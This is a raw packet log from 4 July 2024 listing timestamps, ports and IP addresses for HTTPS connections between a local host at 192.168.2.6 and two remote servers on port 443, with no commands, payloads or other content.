Jul 4, 2024 20:18:40.415250063 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.415286064 CEST	49876	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:40.415291071 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.415324926 CEST	443	49876	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:40.415350914 CEST	49876	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:40.417453051 CEST	49876	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:40.421448946 CEST	49876	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:40.427313089 CEST	49877	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:40.427355051 CEST	443	49877	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:40.428500891 CEST	49877	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:40.428500891 CEST	49877	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:40.428536892 CEST	443	49877	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:40.997493982 CEST	443	49877	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:40.999532938 CEST	49877	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:40.999560118 CEST	443	49877	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:41.173893929 CEST	443	49877	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:41.174297094 CEST	443	49877	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:41.174432039 CEST	49877	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:41.174547911 CEST	49877	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:41.177453995 CEST	49878	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:41.177484035 CEST	443	49878	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:41.177551985 CEST	49878	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:41.181451082 CEST	49878	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:41.181462049 CEST	443	49878	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:41.801156044 CEST	443	49878	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:41.804239988 CEST	49878	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:41.804300070 CEST	443	49878	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:42.586441040 CEST	443	49878	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:42.586509943 CEST	443	49878	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:42.586622000 CEST	49878	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:42.586622000 CEST	49878	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:42.587286949 CEST	49878	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:42.589462042 CEST	49879	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:42.589494944 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:42.593542099 CEST	49879	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:42.597471952 CEST	49879	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:42.597489119 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.290766001 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.292692900 CEST	49879	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:43.292717934 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.533896923 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.535418987 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.535466909 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.535485983 CEST	49879	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:43.535511017 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.535551071 CEST	49879	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:43.535818100 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.535876036 CEST	49879	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:43.629729986 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.629805088 CEST	49879	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:43.629821062 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.630877018 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.630928993 CEST	49879	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:43.630937099 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.631731987 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.631778002 CEST	49879	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:43.631784916 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.632754087 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.632812023 CEST	49879	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:43.632818937 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.677063942 CEST	49879	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:43.723507881 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.723517895 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.723579884 CEST	49879	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:43.723588943 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.723778009 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.723786116 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.723822117 CEST	49879	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:43.723830938 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.723845005 CEST	49879	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:43.724653959 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.724728107 CEST	49879	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:43.724735022 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.724927902 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.724981070 CEST	49879	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:43.724987984 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.725830078 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.725882053 CEST	49879	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:43.725888968 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.726656914 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.726712942 CEST	49879	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:43.726720095 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.732640028 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.732707024 CEST	49879	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:43.732713938 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.786428928 CEST	49879	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:43.817131996 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.817140102 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.817202091 CEST	49879	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:43.817212105 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.817513943 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.817521095 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.817564011 CEST	49879	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:43.817570925 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.818008900 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.818047047 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.818057060 CEST	49879	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:43.818065882 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.818097115 CEST	49879	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:43.818532944 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.818589926 CEST	49879	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:43.818595886 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.818753958 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.818806887 CEST	49879	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:43.818814039 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.819566965 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.819612026 CEST	49879	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:43.819617987 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.819758892 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.819804907 CEST	49879	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:43.819812059 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.820506096 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.820549965 CEST	49879	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:43.820557117 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.820807934 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.820857048 CEST	49879	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:43.820863962 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.821492910 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.821541071 CEST	49879	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:43.821547985 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.822205067 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.822263002 CEST	49879	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:43.822268963 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.826239109 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.826289892 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.826292038 CEST	49879	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:43.826299906 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.826330900 CEST	49879	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:43.826369047 CEST	443	49879	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:43.826414108 CEST	49879	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:43.826984882 CEST	49879	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:43.840012074 CEST	49880	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:43.840030909 CEST	443	49880	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:43.840092897 CEST	49880	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:43.840351105 CEST	49880	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:43.840363979 CEST	443	49880	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:44.425972939 CEST	443	49880	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:44.427957058 CEST	49880	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:44.427979946 CEST	443	49880	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:44.554466009 CEST	443	49880	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:44.554522038 CEST	443	49880	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:44.554635048 CEST	49880	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:44.555143118 CEST	49880	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:44.557466030 CEST	49881	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:44.557518005 CEST	443	49881	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:44.557718039 CEST	49881	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:44.557962894 CEST	49881	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:44.557976007 CEST	443	49881	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:45.189022064 CEST	443	49881	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:45.191140890 CEST	49881	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:45.191178083 CEST	443	49881	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:46.518393993 CEST	443	49881	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:46.518527985 CEST	443	49881	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:46.522152901 CEST	49881	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:46.522152901 CEST	49881	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:46.525463104 CEST	49882	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:46.525496960 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:46.529763937 CEST	49882	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:46.529763937 CEST	49882	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:46.529791117 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.138974905 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.141469955 CEST	49882	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:47.141500950 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.298242092 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.298269987 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.298357010 CEST	49882	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:47.298392057 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.299129009 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.299227953 CEST	49882	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:47.299237013 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.299263000 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.299289942 CEST	49882	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:47.299299002 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.299324036 CEST	49882	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:47.349062920 CEST	49882	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:47.389940023 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.389951944 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.390120983 CEST	49882	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:47.390132904 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.390189886 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.390223026 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.390252113 CEST	49882	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:47.390260935 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.390289068 CEST	49882	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:47.391091108 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.391179085 CEST	49882	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:47.391186953 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.391880989 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.391973019 CEST	49882	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:47.391980886 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.442713976 CEST	49882	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:47.615670919 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.615680933 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.615762949 CEST	49882	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:47.615801096 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.616050959 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.616059065 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.616095066 CEST	49882	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:47.616106033 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.616260052 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.616267920 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.616302967 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.616309881 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.616314888 CEST	49882	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:47.616342068 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.616352081 CEST	49882	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:47.616806030 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.616847992 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.616861105 CEST	49882	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:47.616871119 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.616882086 CEST	49882	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:47.616889954 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.616916895 CEST	49882	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:47.616925001 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.616935968 CEST	49882	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:47.620774031 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.620845079 CEST	49882	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:47.620852947 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.620910883 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.620955944 CEST	49882	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:47.620964050 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.621395111 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.621454000 CEST	49882	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:47.621464014 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.622037888 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.622086048 CEST	49882	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:47.622092962 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.622910976 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.622963905 CEST	49882	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:47.622972012 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.623198032 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.623251915 CEST	49882	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:47.623260021 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.624026060 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.624078035 CEST	49882	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:47.624085903 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.624165058 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.624214888 CEST	49882	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:47.624222994 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.625540018 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.625587940 CEST	49882	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:47.625596046 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.625912905 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.625968933 CEST	49882	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:47.625982046 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.626205921 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.626246929 CEST	49882	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:47.626255035 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.626878977 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.626923084 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.626933098 CEST	49882	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:47.626940966 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.626957893 CEST	49882	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:47.626977921 CEST	443	49882	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:47.627141953 CEST	49882	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:47.627433062 CEST	49882	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:47.640738964 CEST	49883	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:47.640772104 CEST	443	49883	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:47.640836954 CEST	49883	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:47.641164064 CEST	49883	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:47.641179085 CEST	443	49883	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:48.537254095 CEST	443	49883	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:48.539947033 CEST	49883	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:48.539979935 CEST	443	49883	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:48.700659037 CEST	443	49883	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:48.700817108 CEST	443	49883	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:48.700891018 CEST	49883	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:48.701462984 CEST	49883	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:48.705470085 CEST	49884	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:48.705519915 CEST	443	49884	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:48.705598116 CEST	49884	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:48.705894947 CEST	49884	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:48.705909014 CEST	443	49884	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:49.331625938 CEST	443	49884	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:49.335304022 CEST	49884	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:49.335334063 CEST	443	49884	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:49.992702007 CEST	443	49884	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:49.992778063 CEST	49884	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:49.992827892 CEST	443	49884	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:49.993005037 CEST	443	49884	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:49.993055105 CEST	49884	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:49.994034052 CEST	49884	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:49.996359110 CEST	49885	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:49.996397018 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:49.996459961 CEST	49885	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:49.996864080 CEST	49885	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:49.996876955 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:50.606345892 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:50.608079910 CEST	49885	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:50.608102083 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:50.785397053 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:50.785419941 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:50.785543919 CEST	49885	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:50.785573006 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:50.786956072 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:50.787097931 CEST	49885	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:50.787106991 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:50.788116932 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:50.788193941 CEST	49885	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:50.788199902 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:50.833326101 CEST	49885	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:50.876125097 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:50.876132011 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:50.876230955 CEST	49885	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:50.876240969 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:50.877741098 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:50.877862930 CEST	49885	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:50.877871037 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:50.878685951 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:50.878812075 CEST	49885	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:50.878818989 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:50.880280972 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:50.880352974 CEST	49885	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:50.880359888 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:50.929466009 CEST	49885	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:50.966679096 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:50.966689110 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:50.966775894 CEST	49885	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:50.966787100 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:50.967012882 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:50.967020988 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:50.967078924 CEST	49885	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:50.967084885 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:50.967113972 CEST	49885	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:50.967919111 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:50.967971087 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:50.968000889 CEST	49885	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:50.968007088 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:50.968034029 CEST	49885	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:50.968519926 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:50.968612909 CEST	49885	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:50.968620062 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:50.969557047 CEST	443	49885	13.107.139.11	192.168.2.6
